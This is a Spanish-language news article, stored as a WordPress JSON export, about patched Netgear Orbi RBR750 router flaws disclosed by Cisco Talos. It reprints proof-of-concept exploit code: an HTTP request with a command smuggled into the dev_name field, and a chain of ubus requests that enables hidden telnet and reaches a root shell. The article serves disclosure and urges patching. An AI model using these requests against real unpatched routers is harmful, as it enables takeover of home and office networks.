{"id":534691,"date":"2023-03-24T09:18:41","date_gmt":"2023-03-24T09:18:41","guid":{"rendered":"https:\/\/magazineoffice.com\/si-su-enrutador-netgear-orbi-no-esta-parcheado-querra-cambiarlo-pronto\/"},"modified":"2023-03-24T09:18:43","modified_gmt":"2023-03-24T09:18:43","slug":"si-su-enrutador-netgear-orbi-no-esta-parcheado-querra-cambiarlo-pronto","status":"publish","type":"post","link":"https:\/\/magazineoffice.com\/si-su-enrutador-netgear-orbi-no-esta-parcheado-querra-cambiarlo-pronto\/","title":{"rendered":"Si su enrutador Netgear Orbi no est\u00e1 parcheado, querr\u00e1 cambiarlo pronto"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div itemprop=\"articleBody\">\n<figure class=\"intro-image intro-left\"><figcaption class=\"caption\">\n<div class=\"caption-text\">Agrandar <span class=\"sep\">\/<\/span> Un enrutador de la serie Orbi 750.<\/div>\n<p>Netgear<\/p>\n<\/figcaption><\/figure>\n<aside id=\"social-left\" class=\"social-left\" aria-label=\"Read the comments or share this article\">\n<\/aside>\n<p><!-- cache hit 42:single\/related:345324ffb73e518ce33624a7cab3f388 --><!-- empty --><\/p>\n<p>Si conf\u00eda en el sistema inal\u00e1mbrico de malla Orbi de Netgear para conectarse a Internet, querr\u00e1 asegurarse de que est\u00e9 ejecutando el \u00faltimo firmware ahora que se ha lanzado el c\u00f3digo de explotaci\u00f3n para vulnerabilidades cr\u00edticas en versiones anteriores.<\/p>\n<p>El sistema inal\u00e1mbrico de malla Netgear Orbi consta de un enrutador concentrador principal y uno o m\u00e1s enrutadores satelitales que ampl\u00edan el alcance de la red.  Al configurar m\u00faltiples puntos de acceso en un hogar u oficina, forman un sistema de malla que garantiza que la cobertura Wi-Fi est\u00e9 disponible en todo momento.<\/p>\n<h2>Inyectando remotamente comandos arbitrarios<\/h2>\n<p>El a\u00f1o pasado, los investigadores del equipo de seguridad Talos de Cisco descubrieron cuatro vulnerabilidades y las informaron de forma privada a Netgear.  La m\u00e1s grave de las vulnerabilidades, rastreada como CVE-2022-37337, reside en la funcionalidad de control de acceso del RBR750.  Los piratas inform\u00e1ticos pueden explotarlo para ejecutar comandos de forma remota mediante el env\u00edo de solicitudes HTTP especialmente dise\u00f1adas al dispositivo.  El hacker primero debe conectarse al dispositivo, ya sea conociendo la contrase\u00f1a del SSID o accediendo a un SSID desprotegido.  La gravedad de la falla se califica con 9.1 de un m\u00e1ximo de 10.<\/p>\n<aside class=\"ad_wrapper\" aria-label=\"In Content advertisement\">\n    <span class=\"ad_notice\">Anuncio <\/span>    <\/p>\n<\/aside>\n<p>En enero, Netgear lanz\u00f3 actualizaciones de firmware que corrigieron la vulnerabilidad.  Ahora, Talos public\u00f3 un c\u00f3digo de explotaci\u00f3n de prueba de concepto junto con detalles t\u00e9cnicos.<\/p>\n<p>\u201cLa funcionalidad de control de acceso del Orbi RBR750 permite a un usuario agregar dispositivos expl\u00edcitamente (especificados por la direcci\u00f3n MAC y un nombre de host) para permitir o bloquear el dispositivo especificado cuando intenta acceder a la red\u201d, escribieron los investigadores de Talos.  \u201cSin embargo, el par\u00e1metro dev_name es vulnerable a la inyecci\u00f3n de comandos\u201d.<\/p>\n<p>El c\u00f3digo de explotaci\u00f3n liberado es:<\/p>\n<pre style=\"padding-left: 40px;\"><code>POST \/access_control_add.cgi?id=e7bbf8edbf4393c063a616d78bd04dfac332ca652029be9095c4b5b77f6203c1 HTTP\/1.1&#13;\nHost: 10.0.0.1&#13;\nContent-Length: 104&#13;\nAuthorization: Basic YWRtaW46UGFzc3cwcmQ=&#13;\nContent-Type: application\/x-www-form-urlencoded&#13;\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/102.0.5005.61 Safari\/537.36&#13;\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9&#13;\nAccept-Encoding: gzip, deflate&#13;\nAccept-Language: en-US,en;q=0.9&#13;\nCookie: yummy_magical_cookie=\/; XSRF_TOKEN=2516336866&#13;\nConnection: close&#13;\n&#13;\naction=Apply&amp;mac_addr=aabbccddeeaa&amp;dev_name=test;ping$IFS10.0.0.4&amp;access_control_add_type=blocked_list&#13;\n<\/code><\/pre>\n<p>El dispositivo responder\u00e1 con lo siguiente:<\/p>\n<pre style=\"padding-left: 40px;\"><code>   root@RBR750:\/tmp# ps | grep ping&#13;\n   21763 root  \t1336 S\tping 10.0.0.4&#13;\n<\/code><\/pre>\n<p>Otras dos vulnerabilidades descubiertas por Talos tambi\u00e9n recibieron parches en enero.  CVE-2022-36429 tambi\u00e9n es una falla de ejecuci\u00f3n de comandos remotos que se puede explotar enviando una secuencia de paquetes maliciosos que crean un objeto JSON especialmente dise\u00f1ado.  Su \u00edndice de gravedad es de 7,2.<\/p>\n<p>El exploit comienza usando la suma SHA256 de la contrase\u00f1a con el nombre de usuario &#8216;admin&#8217; para devolver una cookie de autenticaci\u00f3n requerida para iniciar una sesi\u00f3n de telnet no documentada:<\/p>\n<pre style=\"padding-left: 40px;\"><code>POST \/ubus HTTP\/1.1&#13;\nHost: 10.0.0.4&#13;\nContent-Length: 217&#13;\nAccept: application\/json&#13;\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/102.0.5005.61 Safari\/537.36&#13;\nContent-Type: application\/json&#13;\nOrigin: http:\/\/10.0.0.4&#13;\nReferer: http:\/\/10.0.0.4\/&#13;\nAccept-Encoding: gzip, deflate&#13;\nAccept-Language: en-US,en;q=0.9&#13;\nConnection: close&#13;\n&#13;\n\"method\":\"call\",\"params\":[\"00000000000000000000000000000000\",\"session\",\"login\",\"username\":\"admin\",\"password\":\"\",\"timeout\":900],\"jsonrpc\":\"2.0\",\"id\":3&#13;\n<\/code><\/pre>\n<p>Aparecer\u00e1 el token &#8216;ubus_rpc_session&#8217; necesario para iniciar el servicio de telnet oculto:<\/p>\n<pre style=\"padding-left: 40px;\"><code>HTTP\/1.1 200 OK&#13;\nContent-Type: application\/json&#13;\nContent-Length: 829&#13;\nConnection: close&#13;\nDate: Mon, 11 Jul 2022 19:27:03 GMT&#13;\nServer: lighttpd\/1.4.45&#13;\n&#13;\n\"jsonrpc\":\"2.0\",\"id\":3,\"result\":[0,\"ubus_rpc_session\":\"e6c28cc8358cb9182daa29e01782df67\",\"timeout\":900,\"expires\":899,\"acls\":\"access-group\":\"netgear\":[\"read\",\"write\"],\"unauthenticated\":[\"read\"],\"ubus\":\"netgear.get\":[\"pot_details\",\"satellite_status\",\"connected_device\",\"get_language\"],\"netgear.log\":[\"ntgrlog_status\",\"log_boot_status\",\"telnet_status\",\"packet_capture_status\",\"firmware_version\",\"hop_count\",\"cpu_load\",\"ntgrlog_start\",\"ntgrlog_stop\",\"log_boot_enable\",\"log_boot_disable\",\"telnet_enable\",\"telnet_disable\",\"packet_capture_start\",\"packet_capture_stop\"],\"netgear.set\":[\"set_language\"],\"netgear.upgrade\":[\"upgrade_status\",\"upgrade_version\",\"upgrade_start\"],\"session\":[\"access\",\"destroy\",\"get\",\"login\"],\"system\":[\"info\"],\"uci\":[\"*\"],\"webui-io\":\"download\":[\"read\"],\"upload\":[\"write\"],\"data\":\"username\":\"admin\"]&#13;\n<\/code><\/pre>\n<p>El adversario luego agrega un par\u00e1metro llamado &#8216;telnet_enable&#8217; para iniciar el servicio telnet:<\/p>\n<pre style=\"padding-left: 40px;\"><code>POST \/ubus HTTP\/1.1&#13;\nHost: 10.0.0.4&#13;\nContent-Length: 138&#13;\nAccept: application\/json&#13;\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/102.0.5005.61 Safari\/537.36&#13;\nContent-Type: application\/json&#13;\nOrigin: http:\/\/10.0.0.4&#13;\nReferer: http:\/\/10.0.0.4\/status.html&#13;\nAccept-Encoding: gzip, deflate&#13;\nAccept-Language: en-US,en;q=0.9&#13;\nConnection: close&#13;\n&#13;\n\"method\":\"call\",\"params\":[\"e6c28cc8358cb9182daa29e01782df67\",\"netgear.log\",\"telnet_enable\",\"log_boot_enable\",],\"jsonrpc\":\"2.0\",\"id\":13&#13;\n<\/code><\/pre>\n<p>La misma contrase\u00f1a utilizada para generar el hash SHA256 con el nombre de usuario &#8216;admin&#8217; permitir\u00e1 que un atacante inicie sesi\u00f3n en el servicio:<\/p>\n<pre style=\"padding-left: 40px;\"><code>$ telnet 10.0.0.4&#13;\nTrying 10.0.0.4...&#13;\nConnected to 10.0.0.4.&#13;\nEscape character is '^]'.&#13;\n&#13;\nlogin: admin&#13;\nPassword: === IMPORTANT ============================&#13;\n Use 'passwd' to set your login password&#13;\n this will disable telnet and enable SSH&#13;\n------------------------------------------&#13;\n&#13;\n&#13;\nBusyBox v1.30.1 () built-in shell (ash)&#13;\n&#13;\n \tMM       \tNM                \tMMMMMMM      \tM   \tM&#13;\n   $MMMMM    \tMMMMM            \tMMMMMMMMMMM  \tMMM \tMMM&#13;\n  MMMMMMMM \tMM MMMMM.          \tMMMMM:MMMMMM:   MMMM   MMMMM&#13;\nMMMM= MMMMMM  MMM   MMMM   \tMMMMM   MMMM  MMMMMM   MMMM  MMMMM'&#13;\nMMMM=  MMMMM MMMM\tMM   \tMMMMM\tMMMM\tMMMM   MMMMNMMMMM&#13;\nMMMM=   MMMM  MMMMM      \tMMMMM \tMMMM\tMMMM   MMMMMMMM&#13;\nMMMM=   MMMM   MMMMMM   \tMMMMM  \tMMMM\tMMMM   MMMMMMMMM&#13;\nMMMM=   MMMM \tMMMMM,\tNMMMMMMMM   MMMM\tMMMM   MMMMMMMMMMM&#13;\nMMMM=   MMMM  \tMMMMMM   MMMMMMMM\tMMMM\tMMMM   MMMM  MMMMMM&#13;\nMMMM=   MMMM   MM\tMMMM\tMMMM  \tMMMM\tMMMM   MMMM\tMMMM&#13;\nMMMM$ ,MMMMM  MMMMM  MMMM\tMMM   \tMMMM   MMMMM   MMMM\tMMMM&#13;\n  MMMMMMM:  \tMMMMMMM \tM     \tMMMMMMMMMMMM  MMMMMMM MMMMMMM&#13;\n\tMMMMMM   \tMMMMN \tM       \tMMMMMMMMM  \tMMMM\tMMMM&#13;\n \tMMMM      \tM                \tMMMMMMM    \tM   \tM&#13;\n   \tM&#13;\n ---------------------------------------------------------------&#13;\n   For those about to rock... (Chaos Calmer, rtm-4.6.8.5+r49254)&#13;\n ---------------------------------------------------------------&#13;\nroot@RBS750:\/#&#13;\n<\/code><\/pre>\n<p>La otra vulnerabilidad parcheada es CVE-2022-38458, con una calificaci\u00f3n de gravedad de 6.5.  Se deriva del dispositivo que solicita a los usuarios que ingresen una contrase\u00f1a a trav\u00e9s de una conexi\u00f3n HTTP, que no est\u00e1 encriptada.  Un adversario en la misma red puede rastrear la contrase\u00f1a.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/magazineoffice.com\/\">Source link-49<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Agrandar \/ Un enrutador de la serie Orbi 750. Netgear Si conf\u00eda en el sistema inal\u00e1mbrico de malla Orbi de Netgear para conectarse a Internet, querr\u00e1 asegurarse de que est\u00e9&hellip;<\/p>\n","protected":false},"author":1,"featured_media":534692,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21980],"tags":[12039,24848,148,44787,72104,37251,3541,36314],"_links":{"self":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/534691"}],"collection":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/comments?post=534691"}],"version-history":[{"count":1,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/534691\/revisions"}],"predecessor-version":[{"id":534693,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/posts\/534691\/revisions\/534693"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/media\/534692"}],"wp:attachment":[{"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/media?parent=534691"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/categories?post=534691"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/magazineoffice.com\/wp-json\/wp\/v2\/tags?post=534691"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}